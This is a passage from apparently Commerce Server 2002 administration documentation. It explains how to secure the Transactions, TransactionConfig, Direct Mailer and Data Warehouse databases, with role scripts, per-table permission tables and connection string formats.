  3. In Query Analyzer, in the database drop-down box, select the Transactions database.
  4. Click File, and then click Open.
  5. Navigate to the scripts located in the Program Files\Microsoft Commerce Server\Support folder, and select TransactionsReaderRole.

    The script opens and the code appears in the Query Analyzer window.

  6. On the toolbar, click Run to run the script against the Transactions database.
  7. Repeat these steps to run the TransactionsWriterRole script.
  8. After you create the roles, assign the anonymous run-time user account and the Business Desk group account to the appropriate roles. For instructions, see Assigning SQL Server Database Roles.

The TransactionsReaderRole and TransactionsWriterRole scripts create the two roles and grant permissions on the following Transactions tables and stored procedures.

Table name TransactionsReaderRole
(Run-time users) 		TransactionsWriter
Role
(Business Desk users)
BasketGroup
 Select
Insert
Update
Delete 		Select
Delete
CatalogProducts_AuctionBid
 Select
Insert
Update
Delete 		Select
Insert
Update
Delete
CatalogProducts_AuctionItem
 No access Select
Insert
Update
Delete
Counters
 Select
Insert
Update 		No access
OrderFormHeader
 Select
Insert
Update 		Select
Delete
OrderFormLineItems
 Select
Insert
Update 		Select
Delete
OrderGroup
 Select
Insert
Update 		Select
Delete
OrderGroupAddresses
 Select
Insert
Update 		Select
Delete
TransCategory
 No access No access
*TransDimension
 No access No access
UserFilter
 Select
Insert
Update
Delete 		No access

*TransDimension is used by the Transaction data import Data Transformation Services (DTS) task. For more information, see ETL Process for Transaction Data Import DTS Task.

Stored Procedure

There is only one Transactions stored procedure: OrderSummaryProc. Neither run-time users nor design-time users require access. This stored procedure is called by the OrderGroupManager.GetOrderSummary script.


Securing the TransactionConfig Database

It is strongly recommended that you use Windows Authentication to control access to your databases. When you configure your database connection strings for Windows Authentication, you must assign Business Desk users and run-time users (who use an anonymous domain account) the appropriate levels of access to your databases.

To help you secure the Transactions database, Commerce Server includes two security scripts: TransactionsConfigReaderRole.sql and TransactionConfigWriterRole.sql. These scripts are located in the Program Files\Microsoft Commerce Server\Support folder.

These scripts create two roles in the TransactionConfig database, and assign the necessary permissions to the tables and stored procedures:

  • TransactionConfigReaderRole. Assign run-time users to this role.
  • TransactionConfigWriterRole. Assign design-time users to this role.

To create the TransactionConfigReaderRole and the TransactionConfigWriterRole

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click SQL Query Analyzer.
  2. In the Connect to SQL Server dialog box, specify the appropriate SQL server.
  3. In Query Analyzer, in the database drop-down box, select the TransactionConfig database.
  4. Click File, and then click Open.
  5. Navigate to the scripts located in the Program Files\Microsoft Commerce Server\Support folder, and select TransactionConfigReaderRole.
  6. The script opens and the code appears in the Query Analyzer window.
  7. On the toolbar, click Run to run the script against the selected database.
  8. Repeat these steps to run the TransactionConfigWriterRole script.
  9. After you create the roles, assign the anonymous run-time user account and the Business Desk group account to the appropriate roles. For instructions, see Assigning SQL Server Database Roles.

The scripts create the two roles and grant permissions on the following TransactionConfig tables and stored procedures.

Tablename TransactionConfigReaderRole
(Run-time users) 		TransactionConfigWriterRole
(Business Desk users)
CatalogCache_Virtual_Directory
 Select
Insert
Update 		Select
Delete
Decode
 Select Select
Insert
Update
Delete
Region
 Select Select
Insert
Update
Delete
RegionalTax
 Select Select
Insert
Update
Delete
ShippingConfig
 Select Select
Insert
Update
Delete
TableShippingRates
 Select Select
Insert
Update
Delete
TxVirtual_Directory
 Select
Insert
Update 		Select
Delete

TransactionConfig Store Procedure

The scripts grant permissions to the TransactionConfigReaderRole and TransactionConfigWriterRole as shown in the following table.

Stored Procedure | TransactionConfigReaderRole (Run-time users) | TransactionConfigWriterRole (Business Desk users)
sp_GetShippingRateProc | Yes | Yes


Securing the Direct Mailer Database

The Direct Mailer service uses the connection string specified in the Direct Mailer global resource to connect to the Direct Mailer database.

The first time the DirectMailer service is invoked, it creates the following tables in the Direct Mailer database:

  • dml_attachments
  • dml_job_errors
  • dml_jobs

It also creates the Sp_create_dml_sqlagent_job stored procedure.

For each unique list involved in the Direct Mailer job, Direct Mailer creates a separate table in the Direct Mailer database, for example:

ML__13F0BA4B_AD15_45BD_AE07_E33DB423A076_

The following table lists the Direct Mailer database and other Direct Mailer tables, and whether the run-time account, design-time account, and the Direct Mailer service account require access to them.

Table name | Run-time user | Design-time user accounts | Direct Mailer service accounts
Direct Mailer database | No | No | db_owner role
dml_attachments
 No No Select
Insert
Update
dml_job_errors
 No No Select
Insert
Update
dml_jobs
 No No Select
Insert
Update
ML_<GUID>
 No No Select
Insert
Update

In addition, the Direct Mailer service must have Write permissions (ACLs) on the following files:

dml_drop
Winnt\system32\logfiles folders

Write permissions are required on these files so Direct Mailer can create and write to a log file, and send mails (it requires permissions to the drop location).

Important

  • The Direct Mailer service can be on ComputerA and the Direct Mailer database can be in ComputerB. When a direct mail campaign item is created using Business Desk, a SQL Server Agent Job is created in the Direct Mailer database (ComputerB). According to the schedule of this job, the job calls the Direct Mailer service in ComputerA to actually process the mails.

    For this setup to work, Direct Mailer service also has to be installed in ComputerB. This install is just necessary for the SQL Server Agent job on ComputerB to communicate with the Direct Mailer service on ComputerA. The actual mail processing gets done only at ComputerA.

Direct Mailer Stored Procedure

The following table lists the Direct Mailer stored procedure, and whether run-time or design-time users should have access to it.

Stored procedure Run-time user Design-time user accounts Direct Mailer service accounts
sp_create_dml_
sqlagent_job
 No Yes Yes

See Also

Direct Mailer Service Account

Using Direct Mailer and Windows Authentication


Securing the Data Warehouse

This section describes the objects and data that you need to secure for the Data Warehouse, and provides detailed instructions explaining how to secure these objects and data.

It is strongly recommended that you use Windows Authentication for access to your databases. When you configure your database connection strings for Windows Authentication, you must assign Commerce Server Business Desk users and system administrators the appropriate access to your Data Warehouse databases.

Commerce Server includes seven scripts (ReportViewer.sql, ReportAdvanced.sql, and five scripts for the DTS tasks) that create SQL Server database roles and assign the appropriate database permissions to each role. After you run these scripts, you can assign the SQL Server logins for Business Desk users and system administrators to the appropriate roles.

This section contains:

  • Overview of Data Warehouse Security
  • Data Warehouse Components Requiring Security
  • Overview of a Secure Data Warehouse Deployment
  • Scripts for Securing Databases Accessed by DTS Tasks
  • Permissions Required to Run DTS Tasks
  • Scripts for Securing Databases Accessed by Reports
  • Permissions Required to Export Static Reports and Segments to List Manager
  • Configuring the Analysis Server Account
  • Accessing the Analysis Server Over HTTPS
  • Configuring Data Warehouse Connection Strings
  • Changing the Data Warehouse Password
  • Changing the Report Manager Account


Overview of Data Warehouse Security

The Data Warehouse is accessed for the following tasks:

  • Importing data from the Web server log file and Commerce Server runtime databases.
  • Running reports from Business Desk.
  • Building Prediction and Segment models.
  • Working with the Segment Viewer module in Business Desk.

You must secure your site so these tasks can be performed without risk to your databases. Following is an overview of the steps you must perform and the tools you use to secure your site for these tasks:

  • Importing data. Commerce Server includes security scripts for each of the Commerce Server databases that the Data Transformation Services (DTS) tasks must access.

    You run the appropriate script against the Commerce Server runtime databases and the Administration database. The security scripts create a DTS_ImportRole on each database and assign the appropriate access permissions to the role.

    For information about the DTS task security scripts, see Scripts for Securing Databases Accessed by DTS Tasks.

  • Running reports. Commerce Server includes the ReportViewer and ReportAdvanced security scripts that you run against the Data Warehouse SQL Server database.

    These scripts create two roles on the Data Warehouse database, and assign to the roles the appropriate access permissions on the Data Warehouse:

    • The ReportViewer role has permissions for Business Desk users who run and view reports.
    • The ReportAdvanced role has permissions for Business Desk users who create, delete, and modify reports.

    After you create these two roles, you assign the Business Desk user account to the roles. The roles enable Business Desk users to work with reports without damaging your database.

    For information about running these scripts, see Scripts for Securing Databases Accessed by Reports.

  • Building Prediction and Segment models. Grant the appropriate permissions to the Predictor service to access the Data Warehouse. Follow the steps in Securing a Predictor Deployment.
  • Working with the Segment Viewer module in Business Desk. Run the SegmentViewer script to create a role on the Data Warehouse database. This role has the appropriate permissions required for users to work with the Segment Viewer module. For more information, see Running the SegmentViewer Script to Secure Prediction Tables.

See Also

Data Warehouse Components Requiring Security

Permissions Required to Export Static Reports and Segments to List Manager


Data Warehouse Components Requiring Security

This section discusses the Data Warehouse objects that should be secured: databases, connection strings, and reports. This section provides detailed reference information about each Data Warehouse component, and the permissions required to access it.

To secure these components, you do the following:

  • Databases. Always secure the Data Warehouse databases behind a firewall. For instructions, see Deploying a Secure Site. In addition, do the following:
    • For the SQL Server database, run the ReportViewer.sql, ReportAdvanced.sql, and SegmentViewer security scripts to create the required roles on the Data Warehouse database for Business Desk users who run reports and work with the Segment Viewer module, and then assign the Business Desk users to the appropriate roles.
    • For the OLAP database, the account that you define for the Analysis Server must have Select access to all Commerce Server views.
    • To run the Data Warehouse Import Wizard and save a package, your account must have Select, Insert, and Update permissions on the msdb database of the SQL Server on which you are running the DTS tasks. The msdb database is used by SQL Server Agent for scheduling alerts and jobs, and it is accessed to save the DTS package. In addition, assign the same permissions on the sysDTSPackage object, which allows users to save a DTS package.
  • Connection strings. Configure the connection strings to use Windows Authentication.
  • Reports. Use the Business Desk Permissions module to grant Business Desk users access to the user interface features for running, creating, and modifying reports.
  • Segment Viewer module. Use the Business Desk Permissions module to grant Business Desk users access to the user interface features for working with the Segment Viewer module.

This section contains:

  • Data Warehouse SQL Server Database
  • Data Warehouse OLAP Database
  • Data Warehouse Connection Strings
  • Data Warehouse SQL Server Connection Strings
  • Data Warehouse Analysis Server Connection Strings
  • Data Warehouse DTS Tasks
  • Commerce Server Reports
  • Reports Accessing OLAP Cubes and SQL Server


Data Warehouse SQL Server Database

This topic provides security reference information for the following Data Warehouse SQL Server database components that require security:

Data Warehouse Tables

Data Warehouse Views

Data Warehouse Functions

The data in the SQL Server database is accessed when the following tasks are performed:

  • You run the Commerce Server DTS tasks. For the permissions required to run the DTS tasks, see Permissions Required to Run DTS Tasks.
  • Business Desk users run static reports. To secure the Data Warehouse SQL Server database, you use the Commerce Server security scripts to create database roles for Business Desk users who run reports against the database. For more information, see Scripts for Securing Databases Accessed by Reports.

    You also must assign the db_owner role in the Data Warehouse database for the account specified in the Commerce Server Report Manager COM+ component. For instructions, see Changing the Report Manager Account.

  • The Predictor service builds Prediction and Segment models. The Predictor service account must be assigned to the db_datareader, db_datawriter, and db_ddladmin roles on the Data Warehouse. For information, see Securing a Predictor Deployment.

Data Warehouse Tables

The following table lists specific Data Warehouse tables that Business Desk users (design-time users) must access to run reports. For a list of which reports and tasks require specific permissions, see ReportViewer.sql Script and ReportAdvanced.sql Script.

Table Design-time user access
GroupReportDbObject
 Select
Insert
Delete
GroupReportJob
 Select
Insert
Delete
GroupReportStatus
 Select
Insert
Delete
LinkSiteRegisteredUserRel
 Select
PredictorDataTables
 Select
Update
PredictorModelCfgs
 Select
Update
PredictorModels
 Select
Update
RegisteredUser
 Select
Insert
Report
 Select
Insert
ReportDimension
 Select
Insert
Delete
ReportInstanceDbObject
 Select
Insert
ReportInstanceParam
 Select
Insert
ReportParam
 Select
Insert
Delete
ReportStatus
 Select
Insert
Delete

Data Warehouse Views

The following Commerce Server views are used by dynamic reports that run against the SQL Server database to populate cubes and dimensions inside of Analysis Services.

Grant the account that you define for the Analysis Server (OLAP database) Select access to all of these views. No other role or account requires access to these views. For instructions, see Configuring the Analysis Server Account.

CampaignItemDimensionView
csdw_BuyerTypeDimensionView
csdw_CampaignEventsDXView
csdw_CampaignEventsFactView
csdw_SalesToUser
csdw_UserStatusViewLU
csdw_UserStatusViewRU
csdw_UserTypeDimensionView
csdw_VisitByUser
csdw_VisitInfoDXView
csdw_VisitInfoFactView
csdw_VisitTypeDimensionView
DateDimensionView
EventsDimensionView
FirstRequest
IsRequestDimensionView
PageGroupDimensionView
RegisteredUserDimensionView
SiteDimensionView
Trans_Predictor
UserBrowsingtoPurchaseFactView
UserRegistrationFactView

Data Warehouse Functions

The following Commerce Server functions are used by the Report preparation DTS task. The Business Desk user does not require access to them.

The Report preparation task requires Exec permissions for these functions. You do not need to do anything to enable Exec permissions for this DTS task, because you will have the necessary permissions as part of configuring your account to run the other DTS tasks.

csdw_fnGetDataTypeString
csdw_fnGetValAsSQLConstant
csdw_fnVarBinToHexStr


Data Warehouse OLAP Database

The Analysis Server hosts the Data Warehouse OLAP database (cubes). The Report preparation DTS task populates the cubes with data. The Report Caching DTS task and the Business Desk user access this data when they run dynamic OLAP reports.

To secure the OLAP database, do the following:

  • Grant the account that you define for the Analysis Server Select access to all of the Commerce Server views.
  • Configure the connection strings to the OLAP database to use Windows Authentication. The connection strings to the OLAP database are ConnStr_OLAP (server side) and ConnStr_OLAP_Client (client side). For instructions, see Configuring Data Warehouse Connection Strings.
  • Limit membership in the OLAP Administrators user group. OLAP administrator security is controlled using the Microsoft Windows® 2000 group named OLAP Administrators.
  • Limit membership to the Analysis Server database to users or user groups that need to run reports. Additionally you can control access to specific cubes and dimensions used in reports. By default, all users in the Analysis Server domain (and any trusted domains) are granted access to all cubes in the Commerce Server 2002 Analysis Server database. You use the Cube Role Manager in SQL Server Analysis Manager to configure cube security by limiting access of specific users or groups to cubes and dimensions. For information about the OLAP cubes in the Data Warehouse, see OLAP Cubes. For information about Commerce Server analysis reports, see Commerce Server 2002 Reports.

Important

  • If the OLAP cubes are on a different computer than the Data Warehouse SQL Server database, you must supply the login credentials for MSSQLServiceOLAPService services for the following cases:
    • The login user has permission to the Data Warehouse SQL Server database.
    • The login user is a member of the OLAP Administrators group.

The following table lists the dynamic reports and the cubes in the OLAP database that each report accesses. This information is provided for reference.

Report | Requires Select access on these OLAP cubes
Usage Trends | mscsWebUsage
User Trends | mscsWebUsage
Activity By Browser | mscsWebUsage
Distinct Users By Time | mscsWebUsage
Usage Summary by Week of Year | mscsWebUsage
Usage Summary by Day of Week | mscsWebUsage
Usage Summary by Hour of Day | mscsWebUsage
General Activity Statistics | mscsWebUsage
Entry Pages | Entry Pages
Exit Pages | Exit Pages
Bandwidth Summary | Bandwidth
Bandwidth Trends | Bandwidth
Product Sales | mscsSales
Hits by HTTP Status | Page Usage
Hits by Win32 Status | Page Usage
Directories | Page Usage
Top Referring Domains by Requests | mscsWebUsage
Top Requested Pages | Page Usage
User Visit Trends | mscsWebUsage
Campaign Item Summary | mscsCampaign
Ad Reach and Frequency by Date | mscsCampaign
Ad Reach and Frequency per Advertiser | mscsCampaign
Buyer Browse to Purchase | Buyer Visits
Campaign Event Summary | mscsCampaign
Shopping Basket Events | Basket Events
Order Events | OrderEvents

Do not grant access to the following cubes; they are not directly accessed by the reports:

mscsCampaignEvents
mscsDateIntersect
mscsOrderedImpressions
mscsVisitInfo


Data Warehouse Connection Strings

The following table lists the Data Warehouse connection strings.

Connection string | Description
connstr_db_dw connstr_db_Analysis | Server-side and client-side connection strings used to run reports against the Data Warehouse SQL Server database.
ConnStr_OLAP ConnStr_OLAP_Client | Server-side and client-side connection strings used to run reports against the Analysis Server OLAP database. These are the Primary Analysis Server connection strings.
ConnStr_OLAP_HA | Used for high-availability deployments in which there is a second Analysis Server. This is the Secondary Analysis Server connection string.
ConnStr_DW | Used by the DTS tasks to access the Data Warehouse through the OLE DB Provider for Commerce Server.

Configure each connection string to use Windows Authentication.

These connection strings are stored in the Administration database.

See Also

Configuring Data Warehouse Connection Strings

OLE DB Connection Strings for the Data Warehouse


Data Warehouse SQL Server Connection Strings

The Data Warehouse has the following connection strings to the SQL Server database:

Server-Side Connection String: connstr_dw

Server-Side Connection String: connstr_db_dw

Client-Side Connection String: connstr_db_Analysis

Server-Side Connection String: connstr_dw

This is the Data Warehouse connection string for the OLE DB Provider for Commerce Server.

If you are using SQL Authentication, the format of this connection string is:

"URL=mscop://InProcConnect/Server=myserver:Database=dbname:
Catalog=DWSchema:Trusted_Connection=Yes:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"

Or,

"Provider=commerce.dso.1;Data
Source=mscop://InProcConnect/Server=myserver:
Catalog=DWSchema:Database=dbname:Trusted_Connection=Yes:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"

If you are using Windows Authentication, the format of this connection string is:

"URL=mscop://InProcConnect/Server=myserver:Database=dbname:Catalog=DWSchema:Trusted_Connection=true:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"

Or,

"URL=mscop://InProcConnect/Server=myserver:Database=dbname:Catalog=DWSchema:Trusted_Connection=Yes:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"

Server-Side Connection String: connstr_db_dw

In the ASP code this is g_MSCSDataWarehouseSQLConnStr.

This is the server-side Data Warehouse connection string used by the Analysis modules to retrieve data to populate the ListSheets in the Reports and Completed Reports modules. This connection string is used in the following tasks:

  • During the execution or export of any report.
  • To delete report definitions and completed reports.
  • To save dynamic reports.

This connection string needs permissions to create and delete tables in the Data Warehouse as well as permissions to select, insert, update, and delete records from Data Warehouse tables and to execute stored procedures. You set this connection string when you unpack the Data Warehouse resource; it has Administrative privileges.

If you are using SQL Authentication, the format of this connection string is:

Provider=SQLOLEDB.1;Data Source=ServerName;Initial
Catalog=DataWarehouseName;Integrated Security='SSPI';Extended
Properties=;Network Library=dbmssocn

If you are using Windows Authentication, the format of this connection string is:

'Provider=SQLOLEDB.1;Data Source= ServerName;Initial Catalog=
 DataWarehouseName;Integrated Security=SSPI;Persist Security
Info=False;Network Library=dbmssocn'

Client-Side Connection String: connstr_db_Analysis

In the ASP code this is g_MSCSDataWarehouseSQLConnStrPivot.

This is the client-side Data Warehouse connection string used by the PivotTable in the dynamic reports to query for the report data. Running SQL-based dynamic reports requires that the logged-on Windows user has Select permissions to all database objects referenced in the report query.

Clients can access this connection string by viewing the source when a dynamic report renders. Consequently, this connection string uses Windows Authentication by default, even if you specify SQL Security when you unpack the Data Warehouse resource.

The format of this connection string is:

'Provider=SQLOLEDB.1;Data Source= ServerName;Initial Catalog=
DataWarehouseName;Integrated Security=SSPI;Persist Security
Info=False;Network Library=dbmssocn'

Because this connection string uses Windows Authentication, Windows users that do not have SQL Server permissions will not be able to run dynamic SQL reports.

To allow many different users to run dynamic SQL reports, create a Windows user group with SQL Server permissions. For more information, see Scripts for Securing Databases Accessed by Reports.

Note

  • Commerce Server 2000 does not include this connection string. When you upgrade from Commerce Server 2000 to Commerce Server 2002, the connection string information for this resource is copied from connstr_db_dw. You must then manually change connstr_db_Analysis to use Windows Authentication.

See Also

Configuring Data Warehouse Connection Strings

OLE DB Connection Strings for Data Warehouse


Data Warehouse Analysis Server Connection Strings

The Data Warehouse has the following connection strings to the Analysis Server OLAP database:

Server-Side Connection String: ConnStr_OLAP

Client-Side Connection String: ConnStr_OLAP_Client

Secondary Analysis Server Connection String: ConnStr_OLAP_Ha

Server-Side Connection String: ConnStr_OLAP

In the ASP code this is g_MSCSDataWarehouseOLAPConnStr.

This is the server-side connection string used to query the OLAP database. This connection string is used as follows when running any OLAP report:

  • For static reports, this connection string is used to query the OLAP database for the report data.
  • For dynamic reports, this connection string is used to check that the cube used in the report is ready to be queried before running the report.

The format of this connection string is:

Provider=MSOLAP;Integrated Security=SSPI;Persist Security Info=False;Data
 Source=ServerName;Initial Catalog=OLAPDatabaseName

By default, any member of the Windows domain of the server where OLAP resides will have query (read) access to the Commerce Server 2002 OLAP cubes.

Client-Side Connection String: ConnStr_OLAP_Client

In the ASP code this is g_MSCSDataWarehouseOLAPConnStrPivot.

This is the client-side connection string used by the PivotTable in dynamic OLAP reports to query the OLAP database.

The format of this connection string is:

Provider=MSOLAP;Integrated Security=SSPI;Persist Security Info=False;Data
Source=ServerName;Initial Catalog=OLAPDatabaseName

By default, any member of the Windows domain of the server where OLAP resides will have query (read) access to the Commerce Server 2002 OLAP cubes.

Notes

  • It is recommended that you use HTTPS and Basic Authentication in the above connection string. The user ID and password can be any valid Windows user on the Analysis Services computer in the form of <domain>\<userID>, for example, REDMOND\SeanChai.
  • You may want to create a new user account with permissions to query only the OLAP cubes.
  • This connection string did not exist in Commerce Server 2000. When you upgrade from Commerce Server 2000 to Commerce Server 2002, the information for this connection string is copied from ConnStr_OLAP.

For information about configuring OLAP over HTTPS, see Accessing the Analysis Server Over HTTPS.

Secondary Analysis Server Connection String: ConnStr_OLAP_HA

This connection string is used for OLAP in high-availability installations and staging environments where you have a second Analysis Server in case the first Analysis Server fails. This connection string is available for customer use, but is not currently referenced by the Business Desk Analysis modules.

The format of this connection string is:

Provider=MSOLAP;Integrated Security=SSPI;Persist Security Info=False;Data
Source=ServerName;Initial Catalog=OLAPDatabaseName

See Also

Configuring Data Warehouse Connection Strings

OLE DB Connection Strings for Data Warehouse


Data Warehouse DTS Tasks

To run the Commerce Server DTS tasks that import data into the Data Warehouse, you must use an account that is a member of the Administrators group, or is aliased to the dbo user in the Data Warehouse. For more information, see Permissions Required to Run DTS Tasks.

To secure the Commerce Server runtime databases and the Administration database so you can run the DTS tasks securely, use the Commerce Server DTS security scripts to create a DTS_ImportRole on each database. For more information, see Scripts for Securing Databases Accessed by DTS Tasks.

After you create the DTS_ImportRole on each database, assign the account for the user who will run the DTS task to the DTS_Import role on each database.

Following are the Commerce Server DTS tasks that import data and extend the Data Warehouse:

  • Configuration synchronization
  • Web server log import
  • Transaction data import
  • Product catalog import
  • Profile data import
  • Campaign data import
  • Model Builder
  • IP resolution
  • Report preparation
  • Report caching
  • Data deletion

The following table lists the databases that these DTS tasks access, and the type of access required on each database. When you run the Commerce Server security scripts, the appropriate permissions are assigned to the DTS_ImportRole.

Object | DTS task | Type of access
MSCS_Admin database | All DTS tasks | Select Insert Update Delete
Commerce Server runtime databases | Transaction data import Product catalog import Profile data import Campaign data import | Select and create temporary tables in the tempdb database on the SQL Server computer hosting the Commerce Server runtime databases
Data Warehouse SQL Server database | All import tasks | Your login account must be a member of the Administrators group, or it must be aliased to the dbo in Data Warehouse
Data Warehouse OLAP database | Report preparation task | User needs to be a member of the OLAP administrator group
Active Directory | Profile data import | Select

To run the Data Warehouse Import Wizard and save a package, your account must have Select, Insert, and Update permissions on the msdb database of the SQL Server on which you are running the DTS tasks.

The msdb database is used by SQL Server Agent for scheduling alerts and jobs, and it is accessed to save the DTS package. In addition, assign the same permissions on the sysDTSPackage object, which allows users to save a DTS package.

See Also

Scripts for Securing Databases Accessed by DTS Tasks


Commerce Server Reports

To enable Business Desk users to run reports, you must ensure that they have the appropriate database access permissions and the appropriate Business Desk user interface permissions.

Business Desk Permissions

Static Reports

Dynamic Reports

Business Desk Permissions

Use the Business Desk Permissions module to grant and deny Business Desk users permission to run Analysis reports. You can secure areas of Business Desk Analysis so that specific reporting functions are available only to selected users or user groups.

For example, you can disable the [image] button in the Reports module so that a group of users cannot run dynamic reports in Business Desk.

The only default Business Desk user account is the BizDesk administrators group. Upon installation of a Business Desk application, this group account initially consists of the users in the Administrators group for the Web server on which the Business Desk application is installed.

A member of the BizDesk administrators group has all permissions, and can add other users and give them new report permissions. New report permissions enable users to create new reports and save reports.

Important

  • New report permissions enable a Business Desk user to save SQL report queries to the Data Warehouse. These queries will be run by anyone who runs the report. Even if users creating the report do not have permissions to run the report query directly, they can still save the report to the Data Warehouse.

    Users with higher SQL permissions could run the query by running the report, without realizing that they could be running a potentially damaging query. This should be considered when determining who will be granted new report permissions.

Static Reports

To generate static reports, the Report Manager, a report-rendering component, runs on the SQL Server computer and accesses the required Data Warehouse tables for the static reports. Business Desk users do not directly access the Report Manager.

The Report Manager runs under the local account. This security context allows the Business Desk application to run reports, without specifying additional permissions for IIS, which could compromise security.

Important

  • For static reports to run, you must assign the db_owner role in the Data Warehouse database for the account specified in the Commerce Server Report Manager COM+ component. For instructions, see Changing the Report Manager Account.
  • Additional permissions are required to export static reports to List Manager. For more information, see Permissions Required to Export Static Reports and Segments to List Manager.

Dynamic Reports

To enable Business Desk users to run dynamic reports, you must configure the SQL Server database client-side connection string (connstr_db_Analysis) with permissions that allow Business Desk users to access the Data Warehouse tables and views referenced in the dynamic report queries.

The SQL Server database client-side connection string is used only by the PivotTable in the dynamic reports to query the report data.

Important

  • The SQL Server database client-side connection string (connstr_db_Analysis) resides on the Business Desk client, and Business Desk users can access it by viewing the source when a dynamic report renders. This is why you must use Windows Authentication so the password is not in clear text. Users will still be able to view the name of the Analysis Server, and explore the full possibilities of their access, so it is important that you secure all the OLAP databases on the server.
  • By default, any member of the Windows domain of the server where OLAP resides will have Select permissions on the Commerce Server 2002 OLAP cubes.

See Also

Scripts for Securing Databases Accessed by Reports


Reports Accessing OLAP Cubes and SQL Server

This topic lists the Analysis reports that access the Analysis Server and SQL Server databases.

Use this list to identify the reports that groups of business managers need to access, and then assign the appropriate security credentials to those users.

Dynamic Reports Accessing the Analysis Server Database (OLAP Cubes)

Dynamic Reports Accessing the SQL Server Database

Static Reports Accessing the SQL Server Database

Dynamic Reports Accessing the Analysis Server Database (OLAP Cubes)

No static reports are based on the OLAP cubes. The following table lists the dynamic reports, and the cubes in the OLAP database that each report accesses.

Report | OLAP cube | Permissions for connstr_OLAP (server-side)
Usage Trends | mscsWebUsage | Select
User Trends | mscsWebUsage | Select
Activity By Browser | mscsWebUsage | Select
Distinct Users By Time | mscsWebUsage | Select
Usage Summary by Week of Year | mscsWebUsage | Select
Usage Summary by Day of Week | mscsWebUsage | Select
Usage Summary by Hour of Day | mscsWebUsage | Select
General Activity Statistics | mscsWebUsage | Select
Entry Pages | Entry Pages | Select
Exit Pages | Exit Pages | Select
Bandwidth Summary | Bandwidth | Select
Bandwidth Trends | Bandwidth | Select
Product Sales | mscsSales | Select
Hits by HTTP Status | Page Usage | Select
Hits by Win32 Status | Page Usage | Select
Directories | Page Usage | Select
Top Referring Domains by Requests | mscsWebUsage | Select
Top Requested Pages | Page Usage | Select
User Visit Trends | mscsWebUsage | Select
Campaign Item Summary | mscsCampaign | Select
Ad Reach and Frequency by Date | mscsCampaign | Select
Ad Reach and Frequency per Advertiser | mscsCampaign | Select
Buyer Browse to Purchase | Buyer Visits | Select
Campaign Event Summary | mscsCampaign | Select
Shopping Basket Events | Basket Events | Select
Order Events | OrderEvents | Select

Dynamic Reports Accessing the SQL Server Database

The following table lists the dynamic reports that access the SQL Server database, and the tables in the database that each report accesses.

Report | Data Warehouse tables | Permissions for connstr_db_dw (server-side)
Registered Users by Date Registered | RegisteredUser LinkSiteRegisteredUserRel Site | Select
User Days to Register | UserRegistrationFactView | Select
User Registration Rate | RegisteredUser LinkSiteRegisteredUserRel Site | Select

If you want to access these reports over HTTPS, you must rewrite them as static reports. For instructions, see New Report Scripts.

Static Reports Accessing the SQL Server Database

The following table lists the Business Desk reports and the Data Warehouse tables each report uses.

Report | Data Warehouse tables | Permissions
Query Strings (multi-value) | MVQueryStringFactTable MVQStringName Site Date | Select
Query Strings (single-value) | SVQueryStringFactTable Site Date | Select
Registered User Properties | RegisteredUser LinkSiteRegisteredUserRel Site | Select
Customer Sales | OrderFormHeader OrderGroup RegisteredUser Site CurrencyCode | Select
New Registered Users | RegisteredUser LinkSiteRegisteredUserRel Site | Select
Report | Data Warehouse stored procedure | Permissions
Entry Path Analysis | CSDW_MakePathAnalysis | Execute

See Also

Scripts for Securing Databases Accessed by Reports

Data Warehouse Connection Strings

Configuring Data Warehouse Connection Strings

Configuring the Analysis Server Account

Accessing the Analysis Server Over HTTPS

Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports


Overview of a Secure Data Warehouse Deployment

The following figure shows the recommended configuration for deploying the Data Warehouse in a secure production environment.

In this figure, the Data Warehouse is on a different server than the Commerce Server runtime databases for performance purposes, not for security.

It is imperative that the Data Warehouse is deployed behind a firewall. Before you import the Web server log files, copy them to a server behind the firewall. For information about using Microsoft Internet Security and Acceleration Server to create a firewall, see Deploying a Secure Site.

For the connections to the Data Warehouse SQL Server database and the Analysis Services (OLAP) database, use Windows Authentication. Use Basic Authentication for Business Desk users.

If you have already installed Commerce Server using SQL Server Authentication, you can change the Data Warehouse connection strings to use Windows Integrated Security. For instructions, see Configuring Data Warehouse Connection Strings.

See Also

Deploying a Secure Site

Securing a Predictor Deployment

Deploying Multiple Sites that Share a Single Data Warehouse

Installing on a Four-Computer Clustered Configuration

Installing on a Three-Computer Non-Clustered Configuration


Scripts for Securing Databases Accessed by DTS Tasks

Commerce Server includes security scripts that you run against the Commerce Server runtime databases and the Administration database. These scripts are located in the Program Files\Microsoft Commerce Server\Support folder.

These scripts create the DTS_ImportRole on each database, and assigns the role the appropriate access permissions on the specified database.

The following table lists the DTS task security scripts, and the databases you run them against.

Script | Run against this database
Dts_AdminDB_SecurityRole.sql | Administration
Dts_CommerceDB_Campaign_SecurityRole.sql | Campaigns
Dts_CommerceDB_Catalog_SecurityRole.sql | Catalog
Dts_CommerceDB_Transaction_SecurityRole.sql | Transactions
Dts_CommerceDB_UPM_SecurityRole.sql | Profiles

The Commerce Server runtime database tables can reside in one database, or each resource can have tables in its own database.

These scripts are designed to work with SQL Server, for data stored in the Commerce Server runtime databases and the Administration database. They are not designed for use with Active Directory or with an Oracle database.

Notes

  • The DTS_ImportRole does not have permissions to create a non-Commerce Server application using the Data Warehouse Configurator. A user who belongs to the DTS_ImportRole can perform the steps to create a non-Commerce Server application, but no application will be created.

    To create a non-Commerce Server application using the Data Warehouse Configurator, you must be a member of the Administrators group.

  • To run the Data Warehouse Import Wizard and save a package, your account must have Select, Insert, and Update permissions on the msdb database of the SQL Server on which you are running the DTS tasks. The msdb database is used by SQL Server Agent for scheduling alerts and jobs, and it is accessed to save the DTS package. In addition, assign the same permissions on the sysDTSPackage object, which allows users to save a DTS package.
  • If the Commerce Server DTS tasks are being scheduled by the SQL Server Agent, then the SQL Server Agent service should be run under a Windows Service account that is a member of the DTS_ImportRole.
  • If you are running the Commerce Server DTS tasks directly from Commerce Server Manager, Windows Script Host, or SQL Server Enterprise Manager, the Windows login account should be a member of the DTS_ImportRole.

To run the DTS task security scripts

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click SQL Query Analyzer.
  2. In the Connect to SQL Server dialog box, specify the appropriate SQL server.
  3. In Query Analyzer, in the database drop-down box, select the database you want to run the script against.
  4. Click File, and then click Open.
